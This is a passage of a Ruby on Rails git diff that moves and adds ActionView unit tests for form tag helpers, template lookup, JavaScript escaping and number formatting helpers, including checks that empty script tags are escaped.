+    assert_dom_equal('<label>Blocked</label>', label_tag { "Blocked" })
+  end
+
+  def test_label_tag_with_block_and_argument
+    output = label_tag("clock") { "Grandfather" }
+    assert_dom_equal('<label for="clock">Grandfather</label>', output)
+  end
+
+  def test_label_tag_with_block_and_argument_and_options
+    output = label_tag("clock", :id => "label_clock") { "Grandfather" }
+    assert_dom_equal('<label for="clock" id="label_clock">Grandfather</label>', output)
+  end
+
+  def test_boolean_options
+    assert_dom_equal %(<input checked="checked" disabled="disabled" id="admin" name="admin" readonly="readonly" type="checkbox" value="1" />), check_box_tag("admin", 1, true, 'disabled' => true, :readonly => "yes")
+    assert_dom_equal %(<input checked="checked" id="admin" name="admin" type="checkbox" value="1" />), check_box_tag("admin", 1, true, :disabled => false, :readonly => nil)
+    assert_dom_equal %(<input type="checkbox" />), tag(:input, :type => "checkbox", :checked => false)
+    assert_dom_equal %(<select id="people" multiple="multiple" name="people[]"><option>david</option></select>), select_tag("people", "<option>david</option>".html_safe, :multiple => true)
+    assert_dom_equal %(<select id="people_" multiple="multiple" name="people[]"><option>david</option></select>), select_tag("people[]", "<option>david</option>".html_safe, :multiple => true)
+    assert_dom_equal %(<select id="people" name="people"><option>david</option></select>), select_tag("people", "<option>david</option>".html_safe, :multiple => nil)
+  end
+
+  def test_stringify_symbol_keys
+    actual = text_field_tag "title", "Hello!", :id => "admin"
+    expected = %(<input id="admin" name="title" type="text" value="Hello!" />)
+    assert_dom_equal expected, actual
+  end
+
+  def test_submit_tag
+    assert_dom_equal(
+      %(<input name='commit' data-disable-with="Saving..." onclick="alert('hello!')" type="submit" value="Save" />),
+      submit_tag("Save", :onclick => "alert('hello!')", :data => { :disable_with => "Saving..." })
+    )
+  end
+
+  def test_submit_tag_with_no_onclick_options
+    assert_dom_equal(
+      %(<input name='commit' data-disable-with="Saving..." type="submit" value="Save" />),
+      submit_tag("Save", :data => { :disable_with => "Saving..." })
+    )
+  end
+
+  def test_submit_tag_with_confirmation
+    assert_dom_equal(
+      %(<input name='commit' type='submit' value='Save' data-confirm="Are you sure?" />),
+      submit_tag("Save", :data => { :confirm => "Are you sure?" })
+    )
+  end
+
+  def test_button_tag
+    assert_dom_equal(
+      %(<button name="button" type="submit">Button</button>),
+      button_tag
+    )
+  end
+
+  def test_button_tag_with_submit_type
+    assert_dom_equal(
+      %(<button name="button" type="submit">Save</button>),
+      button_tag("Save", :type => "submit")
+    )
+  end
+
+  def test_button_tag_with_button_type
+    assert_dom_equal(
+      %(<button name="button" type="button">Button</button>),
+      button_tag("Button", :type => "button")
+    )
+  end
+
+  def test_button_tag_with_reset_type
+    assert_dom_equal(
+      %(<button name="button" type="reset">Reset</button>),
+      button_tag("Reset", :type => "reset")
+    )
+  end
+
+  def test_button_tag_with_disabled_option
+    assert_dom_equal(
+      %(<button name="button" type="reset" disabled="disabled">Reset</button>),
+      button_tag("Reset", :type => "reset", :disabled => true)
+    )
+  end
+
+  def test_button_tag_escape_content
+    assert_dom_equal(
+      %(<button name="button" type="reset" disabled="disabled"><b>Reset</b></button>),
+      button_tag("<b>Reset</b>", :type => "reset", :disabled => true)
+    )
+  end
+
+  def test_button_tag_with_block
+    assert_dom_equal('<button name="button" type="submit">Content</button>', button_tag { 'Content' })
+  end
+
+  def test_button_tag_with_block_and_options
+    output = button_tag(:name => 'temptation', :type => 'button') { content_tag(:strong, 'Do not press me') }
+    assert_dom_equal('<button name="temptation" type="button"><strong>Do not press me</strong></button>', output)
+  end
+
+  def test_button_tag_defaults_with_block_and_options
+    output = button_tag(:name => 'temptation', :value => 'within') { content_tag(:strong, 'Do not press me') }
+    assert_dom_equal('<button name="temptation" value="within" type="submit" ><strong>Do not press me</strong></button>', output)
+  end
+
+  def test_button_tag_with_confirmation
+    assert_dom_equal(
+      %(<button name="button" type="submit" data-confirm="Are you sure?">Save</button>),
+      button_tag("Save", :type => "submit", :data => { :confirm => "Are you sure?" })
+    )
+  end
+
+  def test_image_submit_tag_with_confirmation
+    assert_dom_equal(
+      %(<input alt="Save" type="image" src="/images/save.gif" data-confirm="Are you sure?" />),
+      image_submit_tag("save.gif", :data => { :confirm => "Are you sure?" })
+    )
+  end
+
+  def test_color_field_tag
+    expected = %{<input id="car" name="car" type="color" />}
+    assert_dom_equal(expected, color_field_tag("car"))
+  end
+
+  def test_search_field_tag
+    expected = %{<input id="query" name="query" type="search" />}
+    assert_dom_equal(expected, search_field_tag("query"))
+  end
+
+  def test_telephone_field_tag
+    expected = %{<input id="cell" name="cell" type="tel" />}
+    assert_dom_equal(expected, telephone_field_tag("cell"))
+  end
+
+  def test_date_field_tag
+    expected = %{<input id="cell" name="cell" type="date" />}
+    assert_dom_equal(expected, date_field_tag("cell"))
+  end
+
+  def test_time_field_tag
+    expected = %{<input id="cell" name="cell" type="time" />}
+    assert_dom_equal(expected, time_field_tag("cell"))
+  end
+
+  def test_datetime_field_tag
+    expected = %{<input id="appointment" name="appointment" type="datetime" />}
+    assert_dom_equal(expected, datetime_field_tag("appointment"))
+  end
+
+  def test_datetime_local_field_tag
+    expected = %{<input id="appointment" name="appointment" type="datetime-local" />}
+    assert_dom_equal(expected, datetime_local_field_tag("appointment"))
+  end
+
+  def test_month_field_tag
+    expected = %{<input id="birthday" name="birthday" type="month" />}
+    assert_dom_equal(expected, month_field_tag("birthday"))
+  end
+
+  def test_week_field_tag
+    expected = %{<input id="birthday" name="birthday" type="week" />}
+    assert_dom_equal(expected, week_field_tag("birthday"))
+  end
+
+  def test_url_field_tag
+    expected = %{<input id="homepage" name="homepage" type="url" />}
+    assert_dom_equal(expected, url_field_tag("homepage"))
+  end
+
+  def test_email_field_tag
+    expected = %{<input id="address" name="address" type="email" />}
+    assert_dom_equal(expected, email_field_tag("address"))
+  end
+
+  def test_number_field_tag
+    expected = %{<input name="quantity" max="9" id="quantity" type="number" min="1" />}
+    assert_dom_equal(expected, number_field_tag("quantity", nil, :in => 1...10))
+  end
+
+  def test_range_input_tag
+    expected = %{<input name="volume" step="0.1" max="11" id="volume" type="range" min="0" />}
+    assert_dom_equal(expected, range_field_tag("volume", nil, :in => 0..11, :step => 0.1))
+  end
+
+  def test_field_set_tag_in_erb
+    output_buffer = render_erb("<%= field_set_tag('Your details') do %>Hello world!<% end %>")
+
+    expected = %(<fieldset><legend>Your details</legend>Hello world!</fieldset>)
+    assert_dom_equal expected, output_buffer
+
+    output_buffer = render_erb("<%= field_set_tag do %>Hello world!<% end %>")
+
+    expected = %(<fieldset>Hello world!</fieldset>)
+    assert_dom_equal expected, output_buffer
+
+    output_buffer = render_erb("<%= field_set_tag('') do %>Hello world!<% end %>")
+
+    expected = %(<fieldset>Hello world!</fieldset>)
+    assert_dom_equal expected, output_buffer
+
+    output_buffer = render_erb("<%= field_set_tag('', :class => 'format') do %>Hello world!<% end %>")
+
+    expected = %(<fieldset class="format">Hello world!</fieldset>)
+    assert_dom_equal expected, output_buffer
+
+    output_buffer = render_erb("<%= field_set_tag %>")
+
+    expected = %(<fieldset></fieldset>)
+    assert_dom_equal expected, output_buffer
+
+    output_buffer = render_erb("<%= field_set_tag('You legend!') %>")
+
+    expected = %(<fieldset><legend>You legend!</legend></fieldset>)
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_text_area_tag_options_symbolize_keys_side_effects
+    options = { :option => "random_option" }
+    text_area_tag "body", "hello world", options
+    assert_equal options, { :option => "random_option" }
+  end
+
+  def test_submit_tag_options_symbolize_keys_side_effects
+    options = { :option => "random_option" }
+    submit_tag "submit value", options
+    assert_equal options, { :option => "random_option" }
+  end
+
+  def test_button_tag_options_symbolize_keys_side_effects
+    options = { :option => "random_option" }
+    button_tag "button value", options
+    assert_equal options, { :option => "random_option" }
+  end
+
+  def test_image_submit_tag_options_symbolize_keys_side_effects
+    options = { :option => "random_option" }
+    image_submit_tag "submit source", options
+    assert_equal options, { :option => "random_option" }
+  end
+
+  def test_image_label_tag_options_symbolize_keys_side_effects
+    options = { :option => "random_option" }
+    label_tag "submit source", "title", options
+    assert_equal options, { :option => "random_option" }
+  end
+
+  def protect_against_forgery?
+    false
+  end
+
+  private
+
+  def root_elem(rendered_content)
+    HTML::Document.new(rendered_content).root.children[0]
+  end
+end
diff --git a/actionpack/test/template/html-scanner/cdata_node_test.rb b/actionview/test/template/html-scanner/cdata_node_test.rb
similarity index 100%
rename from actionpack/test/template/html-scanner/cdata_node_test.rb
rename to actionview/test/template/html-scanner/cdata_node_test.rb
diff --git a/actionpack/test/template/html-scanner/document_test.rb b/actionview/test/template/html-scanner/document_test.rb
similarity index 100%
rename from actionpack/test/template/html-scanner/document_test.rb
rename to actionview/test/template/html-scanner/document_test.rb
diff --git a/actionpack/test/template/html-scanner/node_test.rb b/actionview/test/template/html-scanner/node_test.rb
similarity index 100%
rename from actionpack/test/template/html-scanner/node_test.rb
rename to actionview/test/template/html-scanner/node_test.rb
diff --git a/actionpack/test/template/html-scanner/sanitizer_test.rb b/actionview/test/template/html-scanner/sanitizer_test.rb
similarity index 100%
rename from actionpack/test/template/html-scanner/sanitizer_test.rb
rename to actionview/test/template/html-scanner/sanitizer_test.rb
diff --git a/actionpack/test/template/html-scanner/tag_node_test.rb b/actionview/test/template/html-scanner/tag_node_test.rb
similarity index 100%
rename from actionpack/test/template/html-scanner/tag_node_test.rb
rename to actionview/test/template/html-scanner/tag_node_test.rb
diff --git a/actionpack/test/template/html-scanner/text_node_test.rb b/actionview/test/template/html-scanner/text_node_test.rb
similarity index 100%
rename from actionpack/test/template/html-scanner/text_node_test.rb
rename to actionview/test/template/html-scanner/text_node_test.rb
diff --git a/actionpack/test/template/html-scanner/tokenizer_test.rb b/actionview/test/template/html-scanner/tokenizer_test.rb
similarity index 100%
rename from actionpack/test/template/html-scanner/tokenizer_test.rb
rename to actionview/test/template/html-scanner/tokenizer_test.rb
diff --git a/actionview/test/template/html_test.rb b/actionview/test/template/html_test.rb
new file mode 100644
index 0000000..549c12c
--- /dev/null
+++ b/actionview/test/template/html_test.rb
@@ -0,0 +1,17 @@
+require 'abstract_unit'
+
+class HTMLTest < ActiveSupport::TestCase
+  test 'formats returns symbol for recognized MIME type' do
+    assert_equal [:html], ActionView::Template::HTML.new('', :html).formats
+  end
+
+  test 'formats returns string for recognized MIME type when MIME does not have symbol' do
+    foo = Mime::Type.lookup("foo")
+    assert_nil foo.to_sym
+    assert_equal ['foo'], ActionView::Template::HTML.new('', foo).formats
+  end
+
+  test 'formats returns string for unknown MIME type' do
+    assert_equal ['foo'], ActionView::Template::HTML.new('', 'foo').formats
+  end
+end
diff --git a/actionview/test/template/javascript_helper_test.rb b/actionview/test/template/javascript_helper_test.rb
new file mode 100644
index 0000000..4703111
--- /dev/null
+++ b/actionview/test/template/javascript_helper_test.rb
@@ -0,0 +1,69 @@
+require 'abstract_unit'
+
+class JavaScriptHelperTest < ActionView::TestCase
+  tests ActionView::Helpers::JavaScriptHelper
+
+  def _evaluate_assigns_and_ivars() end
+
+  attr_accessor :formats, :output_buffer
+
+  def update_details(details)
+    @details = details
+    yield if block_given?
+  end
+
+  def setup
+    super
+    ActiveSupport.escape_html_entities_in_json  = true
+    @template = self
+  end
+
+  def teardown
+    ActiveSupport.escape_html_entities_in_json  = false
+  end
+
+  def test_escape_javascript
+    assert_equal '', escape_javascript(nil)
+    assert_equal %(This \\"thing\\" is really\\n netos\\'), escape_javascript(%(This "thing" is really\n netos'))
+    assert_equal %(backslash\\\\test), escape_javascript( %(backslash\\test) )
+    assert_equal %(dont <\\/close> tags), escape_javascript(%(dont </close> tags))
+    assert_equal %(unicode &#x2028; newline), escape_javascript(%(unicode \342\200\250 newline).force_encoding(Encoding::UTF_8).encode!)
+    assert_equal %(unicode &#x2029; newline), escape_javascript(%(unicode \342\200\251 newline).force_encoding(Encoding::UTF_8).encode!)
+
+    assert_equal %(dont <\\/close> tags), j(%(dont </close> tags))
+  end
+
+  def test_escape_javascript_with_safebuffer
+    given = %('quoted' "double-quoted" new-line:\n </closed>)
+    expect = %(\\'quoted\\' \\"double-quoted\\" new-line:\\n <\\/closed>)
+    assert_equal expect, escape_javascript(given)
+    assert_equal expect, escape_javascript(ActiveSupport::SafeBuffer.new(given))
+    assert_instance_of String, escape_javascript(given)
+    assert_instance_of ActiveSupport::SafeBuffer, escape_javascript(ActiveSupport::SafeBuffer.new(given))
+  end
+
+  def test_javascript_tag
+    self.output_buffer = 'foo'
+
+    assert_dom_equal "<script>\n//<![CDATA[\nalert('hello')\n//]]>\n</script>",
+      javascript_tag("alert('hello')")
+
+    assert_equal 'foo', output_buffer, 'javascript_tag without a block should not concat to output_buffer'
+  end
+
+  # Setting the :extname option will control what extension (if any) is appended to the url for assets
+  def test_javascript_include_tag
+    assert_dom_equal "<script src='/foo.js'></script>",  javascript_include_tag('/foo')
+    assert_dom_equal "<script src='/foo'></script>",     javascript_include_tag('/foo', extname: false )
+    assert_dom_equal "<script src='/foo.bar'></script>", javascript_include_tag('/foo', extname: '.bar' )
+  end
+
+  def test_javascript_tag_with_options
+    assert_dom_equal "<script id=\"the_js_tag\">\n//<![CDATA[\nalert('hello')\n//]]>\n</script>",
+      javascript_tag("alert('hello')", :id => "the_js_tag")
+  end
+
+  def test_javascript_cdata_section
+    assert_dom_equal "\n//<![CDATA[\nalert('hello')\n//]]>\n", javascript_cdata_section("alert('hello')")
+  end
+end
diff --git a/actionpack/test/template/log_subscriber_test.rb b/actionview/test/template/log_subscriber_test.rb
similarity index 100%
rename from actionpack/test/template/log_subscriber_test.rb
rename to actionview/test/template/log_subscriber_test.rb
diff --git a/actionview/test/template/lookup_context_test.rb b/actionview/test/template/lookup_context_test.rb
new file mode 100644
index 0000000..4f78230
--- /dev/null
+++ b/actionview/test/template/lookup_context_test.rb
@@ -0,0 +1,282 @@
+require "abstract_unit"
+require "abstract_controller/rendering"
+
+class LookupContextTest < ActiveSupport::TestCase
+  def setup
+    @lookup_context = ActionView::LookupContext.new(FIXTURE_LOAD_PATH, {})
+    ActionView::LookupContext::DetailsKey.clear
+  end
+
+  def teardown
+    I18n.locale = :en
+  end
+
+  test "allows to override default_formats with ActionView::Base.default_formats" do
+    begin
+      formats = ActionView::Base.default_formats
+      ActionView::Base.default_formats = [:foo, :bar]
+
+      assert_equal [:foo, :bar], ActionView::LookupContext.new([]).default_formats
+    ensure
+      ActionView::Base.default_formats = formats
+    end
+  end
+
+  test "process view paths on initialization" do
+    assert_kind_of ActionView::PathSet, @lookup_context.view_paths
+  end
+
+  test "normalizes details on initialization" do
+    assert_equal Mime::SET, @lookup_context.formats
+    assert_equal :en, @lookup_context.locale
+  end
+
+  test "allows me to freeze and retrieve frozen formats" do
+    @lookup_context.formats.freeze
+    assert @lookup_context.formats.frozen?
+  end
+
+  test "provides getters and setters for variants" do
+    @lookup_context.variants = [:mobile]
+    assert_equal [:mobile], @lookup_context.variants
+  end
+
+  test "provides getters and setters for formats" do
+    @lookup_context.formats = [:html]
+    assert_equal [:html], @lookup_context.formats
+  end
+
+  test "handles */* formats" do
+    @lookup_context.formats = ["*/*"]
+    assert_equal Mime::SET, @lookup_context.formats
+  end
+
+  test "handles explicitly defined */* formats fallback to :js" do
+    @lookup_context.formats = [:js, Mime::ALL]
+    assert_equal [:js, *Mime::SET.symbols], @lookup_context.formats
+  end
+
+  test "adds :html fallback to :js formats" do
+    @lookup_context.formats = [:js]
+    assert_equal [:js, :html], @lookup_context.formats
+  end
+
+  test "provides getters and setters for locale" do
+    @lookup_context.locale = :pt
+    assert_equal :pt, @lookup_context.locale
+  end
+
+  test "changing lookup_context locale, changes I18n.locale" do
+    @lookup_context.locale = :pt
+    assert_equal :pt, I18n.locale
+  end
+
+  test "delegates changing the locale to the I18n configuration object if it contains a lookup_context object" do
+    begin
+      I18n.config = ActionView::I18nProxy.new(I18n.config, @lookup_context)
+      @lookup_context.locale = :pt
+      assert_equal :pt, I18n.locale
+      assert_equal :pt, @lookup_context.locale
+    ensure
+      I18n.config = I18n.config.original_config
+    end
+
+    assert_equal :pt, I18n.locale
+  end
+
+  test "find templates using the given view paths and configured details" do
+    template = @lookup_context.find("hello_world", %w(test))
+    assert_equal "Hello world!", template.source
+
+    @lookup_context.locale = :da
+    template = @lookup_context.find("hello_world", %w(test))
+    assert_equal "Hey verden", template.source
+  end
+
+  test "find templates with given variants" do
+    @lookup_context.formats  = [:html]
+    @lookup_context.variants = [:phone]
+
+    template = @lookup_context.find("hello_world", %w(test))
+    assert_equal "Hello phone!", template.source
+
+    @lookup_context.variants = [:phone]
+    @lookup_context.formats  = [:text]
+
+    template = @lookup_context.find("hello_world", %w(test))
+    assert_equal "Hello texty phone!", template.source
+  end
+
+  test "found templates respects given formats if one cannot be found from template or handler" do
+    ActionView::Template::Handlers::Builder.expects(:default_format).returns(nil)
+    @lookup_context.formats = [:text]
+    template = @lookup_context.find("hello", %w(test))
+    assert_equal [:text], template.formats
+  end
+
+  test "adds fallbacks to view paths when required" do
+    assert_equal 1, @lookup_context.view_paths.size
+
+    @lookup_context.with_fallbacks do
+      assert_equal 3, @lookup_context.view_paths.size
+      assert @lookup_context.view_paths.include?(ActionView::FallbackFileSystemResolver.new(""))
+      assert @lookup_context.view_paths.include?(ActionView::FallbackFileSystemResolver.new("/"))
+    end
+  end
+
+  test "add fallbacks just once in nested fallbacks calls" do
+    @lookup_context.with_fallbacks do
+      @lookup_context.with_fallbacks do
+        assert_equal 3, @lookup_context.view_paths.size
+      end
+    end
+  end
+
+  test "generates a new details key for each details hash" do
+    keys = []
+    keys << @lookup_context.details_key
+    assert_equal 1, keys.uniq.size
+
+    @lookup_context.locale = :da
+    keys << @lookup_context.details_key
+    assert_equal 2, keys.uniq.size
+
+    @lookup_context.locale = :en
+    keys << @lookup_context.details_key
+    assert_equal 2, keys.uniq.size
+
+    @lookup_context.formats = [:html]
+    keys << @lookup_context.details_key
+    assert_equal 3, keys.uniq.size
+
+    @lookup_context.formats = nil
+    keys << @lookup_context.details_key
+    assert_equal 3, keys.uniq.size
+  end
+
+  test "gives the key forward to the resolver, so it can be used as cache key" do
+    @lookup_context.view_paths = ActionView::FixtureResolver.new("test/_foo.erb" => "Foo")
+    template = @lookup_context.find("foo", %w(test), true)
+    assert_equal "Foo", template.source
+
+    # Now we are going to change the template, but it won't change the returned template
+    # since we will hit the cache.
+    @lookup_context.view_paths.first.hash["test/_foo.erb"] = "Bar"
+    template = @lookup_context.find("foo", %w(test), true)
+    assert_equal "Foo", template.source
+
+    # This time we will change the locale. The updated template should be picked since
+    # lookup_context generated a new key after we changed the locale.
+    @lookup_context.locale = :da
+    template = @lookup_context.find("foo", %w(test), true)
+    assert_equal "Bar", template.source
+
+    # Now we will change back the locale and it will still pick the old template.
+    # This is expected because lookup_context will reuse the previous key for :en locale.
+    @lookup_context.locale = :en
+    template = @lookup_context.find("foo", %w(test), true)
+    assert_equal "Foo", template.source
+
+    # Finally, we can expire the cache. And the expected template will be used.
+    @lookup_context.view_paths.first.clear_cache
+    template = @lookup_context.find("foo", %w(test), true)
+    assert_equal "Bar", template.source
+  end
+
+  test "can disable the cache on demand" do
+    @lookup_context.view_paths = ActionView::FixtureResolver.new("test/_foo.erb" => "Foo")
+    old_template = @lookup_context.find("foo", %w(test), true)
+
+    template = @lookup_context.find("foo", %w(test), true)
+    assert_equal template, old_template
+
+    assert @lookup_context.cache
+    template = @lookup_context.disable_cache do
+      assert !@lookup_context.cache
+      @lookup_context.find("foo", %w(test), true)
+    end
+    assert @lookup_context.cache
+
+    assert_not_equal template, old_template
+  end
+
+  test "responds to #prefixes" do
+    assert_equal [], @lookup_context.prefixes
+    @lookup_context.prefixes = ["foo"]
+    assert_equal ["foo"], @lookup_context.prefixes
+  end
+end
+
+class LookupContextWithFalseCaching < ActiveSupport::TestCase
+  def setup
+    @resolver = ActionView::FixtureResolver.new("test/_foo.erb" => ["Foo", Time.utc(2000)])
+    ActionView::Resolver.stubs(:caching?).returns(false)
+    @lookup_context = ActionView::LookupContext.new(@resolver, {})
+  end
+
+  test "templates are always found in the resolver but timestamp is checked before being compiled" do
+    template = @lookup_context.find("foo", %w(test), true)
+    assert_equal "Foo", template.source
+
+    # Now we are going to change the template, but it won't change the returned template
+    # since the timestamp is the same.
+    @resolver.hash["test/_foo.erb"][0] = "Bar"
+    template = @lookup_context.find("foo", %w(test), true)
+    assert_equal "Foo", template.source
+
+    # Now update the timestamp.
+    @resolver.hash["test/_foo.erb"][1] = Time.now.utc
+    template = @lookup_context.find("foo", %w(test), true)
+    assert_equal "Bar", template.source
+  end
+
+  test "if no template was found in the second lookup, with no cache, raise error" do
+    template = @lookup_context.find("foo", %w(test), true)
+    assert_equal "Foo", template.source
+
+    @resolver.hash.clear
+    assert_raise ActionView::MissingTemplate do
+      @lookup_context.find("foo", %w(test), true)
+    end
+  end
+
+  test "if no template was cached in the first lookup, retrieval should work in the second call" do
+    @resolver.hash.clear
+    assert_raise ActionView::MissingTemplate do
+      @lookup_context.find("foo", %w(test), true)
+    end
+
+    @resolver.hash["test/_foo.erb"] = ["Foo", Time.utc(2000)]
+    template = @lookup_context.find("foo", %w(test), true)
+    assert_equal "Foo", template.source
+  end
+end
+
+class TestMissingTemplate < ActiveSupport::TestCase
+  def setup
+    @lookup_context = ActionView::LookupContext.new("/Path/to/views", {})
+  end
+
+  test "if no template was found we get a helpful error message including the inheritance chain" do
+    e = assert_raise ActionView::MissingTemplate do
+      @lookup_context.find("foo", %w(parent child))
+    end
+    assert_match %r{Missing template parent/foo, child/foo with .* Searched in:\n  \* "/Path/to/views"\n}, e.message
+  end
+
+  test "if no partial was found we get a helpful error message including the inheritance chain" do
+    e = assert_raise ActionView::MissingTemplate do
+      @lookup_context.find("foo", %w(parent child), true)
+    end
+    assert_match %r{Missing partial parent/_foo, child/_foo with .* Searched in:\n  \* "/Path/to/views"\n}, e.message
+  end
+
+  test "if a single prefix is passed as a string and the lookup fails, MissingTemplate accepts it" do
+    e = assert_raise ActionView::MissingTemplate do
+      details = {:handlers=>[], :formats=>[], :variants=>[], :locale=>[]}
+      @lookup_context.view_paths.find("foo", "parent", true, details)
+    end
+    assert_match %r{Missing partial parent/_foo with .* Searched in:\n  \* "/Path/to/views"\n}, e.message
+  end
+
+end
diff --git a/actionview/test/template/number_helper_test.rb b/actionview/test/template/number_helper_test.rb
new file mode 100644
index 0000000..adb8883
--- /dev/null
+++ b/actionview/test/template/number_helper_test.rb
@@ -0,0 +1,194 @@
+require "abstract_unit"
+
+class NumberHelperTest < ActionView::TestCase
+  tests ActionView::Helpers::NumberHelper
+
+  def test_number_to_phone
+    assert_equal nil, number_to_phone(nil)
+    assert_equal "555-1234", number_to_phone(5551234)
+    assert_equal "(800) 555-1212 x 123", number_to_phone(8005551212, area_code: true, extension: 123)
+    assert_equal "+18005551212", number_to_phone(8005551212, country_code: 1, delimiter: "")
+    assert_equal "+<script></script>8005551212", number_to_phone(8005551212, country_code: "<script></script>", delimiter: "")
+    assert_equal "8005551212 x <script></script>", number_to_phone(8005551212, extension: "<script></script>", delimiter: "")
+  end
+
+  def test_number_to_currency
+    assert_equal nil, number_to_currency(nil)
+    assert_equal "$1,234,567,890.50", number_to_currency(1234567890.50)
+    assert_equal "$1,234,567,892", number_to_currency(1234567891.50, precision: 0)
+    assert_equal "1,234,567,890.50 - Kč", number_to_currency("-1234567890.50", unit: raw("Kč"), format: "%n %u", negative_format: "%n - %u")
+    assert_equal "&pound;1,234,567,890.50", number_to_currency("1234567890.50", unit: "£")
+    assert_equal "<b>1,234,567,890.50</b> $", number_to_currency("1234567890.50", format: "<b>%n</b> %u")
+    assert_equal "<b>1,234,567,890.50</b> $", number_to_currency("-1234567890.50", negative_format: "<b>%n</b> %u")
+    assert_equal "<b>1,234,567,890.50</b> $", number_to_currency("-1234567890.50", 'negative_format' => "<b>%n</b> %u")
+  end
+
+  def test_number_to_percentage
+    assert_equal nil, number_to_percentage(nil)
+    assert_equal "100.000%", number_to_percentage(100)
+    assert_equal "100.000 %", number_to_percentage(100, format: '%n %')
+    assert_equal "<b>100.000</b> %", number_to_percentage(100, format: '<b>%n</b> %')
+    assert_equal "<b>100.000</b> %", number_to_percentage(100, format: raw('<b>%n</b> %'))
+    assert_equal "100%", number_to_percentage(100, precision: 0)
+    assert_equal "123.4%", number_to_percentage(123.400, precision: 3, strip_insignificant_zeros: true)
+    assert_equal "1.000,000%", number_to_percentage(1000, delimiter: ".", separator: ",")
+    assert_equal "98a%", number_to_percentage("98a")
+    assert_equal "NaN%", number_to_percentage(Float::NAN)
+    assert_equal "Inf%", number_to_percentage(Float::INFINITY)
+  end
+
+  def test_number_with_delimiter
+    assert_equal nil, number_with_delimiter(nil)
+    assert_equal "12,345,678", number_with_delimiter(12345678)
+    assert_equal "0", number_with_delimiter(0)
+  end
+
+  def test_number_with_precision
+    assert_equal nil, number_with_precision(nil)
+    assert_equal "-111.235", number_with_precision(-111.2346)
+    assert_equal "111.00", number_with_precision(111, precision: 2)
+    assert_equal "0.00100", number_with_precision(0.001, precision: 5)
+  end
+
+  def test_number_to_human_size
+    assert_equal nil, number_to_human_size(nil)
+    assert_equal "3 Bytes", number_to_human_size(3.14159265)
+    assert_equal "1.2 MB", number_to_human_size(1234567, precision: 2)
+  end
+
+  def test_number_to_human
+    assert_equal nil,   number_to_human(nil)
+    assert_equal "0",   number_to_human(0)
+    assert_equal "1.23 Thousand", number_to_human(1234)
+    assert_equal "489.0 Thousand", number_to_human(489000, precision: 4, strip_insignificant_zeros: false)
+  end
+
+  def test_number_to_human_escape_units
+    volume = { unit: "<b>ml</b>", thousand: "<b>lt</b>", million: "<b>m3</b>", trillion: "<b>km3</b>", quadrillion: "<b>Pl</b>" }
+    assert_equal '123 <b>lt</b>', number_to_human(123456, :units => volume)
+    assert_equal '12 <b>ml</b>', number_to_human(12, :units => volume)
+    assert_equal '1.23 <b>m3</b>', number_to_human(1234567, :units => volume)
+    assert_equal '1.23 <b>km3</b>', number_to_human(1_234_567_000_000, :units => volume)
+    assert_equal '1.23 <b>Pl</b>', number_to_human(1_234_567_000_000_000, :units => volume)
+
+    #Including fractionals
+    distance = { mili: "<b>mm</b>", centi: "<b>cm</b>", deci: "<b>dm</b>", unit: "<b>m</b>",
+                 ten: "<b>dam</b>", hundred: "<b>hm</b>", thousand: "<b>km</b>",
+                 micro: "<b>um</b>", nano: "<b>nm</b>", pico: "<b>pm</b>", femto: "<b>fm</b>"}
+    assert_equal '1.23 <b>mm</b>', number_to_human(0.00123, :units => distance)
+    assert_equal '1.23 <b>cm</b>', number_to_human(0.0123, :units => distance)
+    assert_equal '1.23 <b>dm</b>', number_to_human(0.123, :units => distance)
+    assert_equal '1.23 <b>m</b>', number_to_human(1.23, :units => distance)
+    assert_equal '1.23 <b>dam</b>', number_to_human(12.3, :units => distance)
+    assert_equal '1.23 <b>hm</b>', number_to_human(123, :units => distance)
+    assert_equal '1.23 <b>km</b>', number_to_human(1230, :units => distance)
+    assert_equal '1.23 <b>um</b>', number_to_human(0.00000123, :units => distance)
+    assert_equal '1.23 <b>nm</b>', number_to_human(0.00000000123, :units => distance)
+    assert_equal '1.23 <b>pm</b>', number_to_human(0.00000000000123, :units => distance)
+    assert_equal '1.23 <b>fm</b>', number_to_human(0.00000000000000123, :units => distance)
+  end
+
+  def test_number_helpers_escape_delimiter_and_separator
+    assert_equal "111<script></script>111<script></script>1111", number_to_phone(1111111111, delimiter: "<script></script>")
+
+    assert_equal "$1<script></script>01", number_to_currency(1.01, separator: "<script></script>")
+    assert_equal "$1<script></script>000.00", number_to_currency(1000, delimiter: "<script></script>")
+
+    assert_equal "1<script></script>010%", number_to_percentage(1.01, separator: "<script></script>")
+    assert_equal "1<script></script>000.000%", number_to_percentage(1000, delimiter: "<script></script>")
+
+    assert_equal "1<script></script>01", number_with_delimiter(1.01, separator: "<script></script>")
+    assert_equal "1<script></script>000", number_with_delimiter(1000, delimiter: "<script></script>")
+
+    assert_equal "1<script></script>010", number_with_precision(1.01, separator: "<script></script>")
+    assert_equal "1<script></script>000.000", number_with_precision(1000, delimiter: "<script></script>")
+
+    assert_equal "9<script></script>86 KB", number_to_human_size(10100, separator: "<script></script>")
+
+    assert_equal "1<script></script>01", number_to_human(1.01, separator: "<script></script>")
+    assert_equal "100<script></script>000 Quadrillion", number_to_human(10**20, delimiter: "<script></script>")
+  end
+
+  def test_number_to_human_with_custom_translation_scope
+    I18n.backend.store_translations 'ts',
+      :custom_units_for_number_to_human => {:mili => "mm", :centi => "cm", :deci => "dm", :unit => "m", :ten => "dam", :hundred => "hm", :thousand => "km"}
+    assert_equal "1.01 cm", number_to_human(0.0101, :locale => 'ts', :units => :custom_units_for_number_to_human)
+  end
+
+  def test_number_helpers_outputs_are_html_safe
+    assert number_to_human(1).html_safe?
+    assert !number_to_human("<script></script>").html_safe?
+    assert number_to_human("asdf".html_safe).html_safe?
+    assert number_to_human("1".html_safe).html_safe?
+
+    assert number_to_human_size(1).html_safe?
+    assert number_to_human_size(1000000).html_safe?
+    assert !number_to_human_size("<script></script>").html_safe?
+    assert number_to_human_size("asdf".html_safe).html_safe?
+    assert number_to_human_size("1".html_safe).html_safe?
+
+    assert number_with_precision(1, strip_insignificant_zeros: false).html_safe?
+    assert number_with_precision(1, strip_insignificant_zeros: true).html_safe?
+    assert !number_with_precision("<script></script>").html_safe?
+    assert number_with_precision("asdf".html_safe).html_safe?
+    assert number_with_precision("1".html_safe).html_safe?
+
+    assert number_to_currency(1).html_safe?
+    assert !number_to_currency("<script></script>").html_safe?
+    assert number_to_currency("asdf".html_safe).html_safe?
+    assert number_to_currency("1".html_safe).html_safe?
+
+    assert number_to_percentage(1).html_safe?
+    assert !number_to_percentage("<script></script>").html_safe?
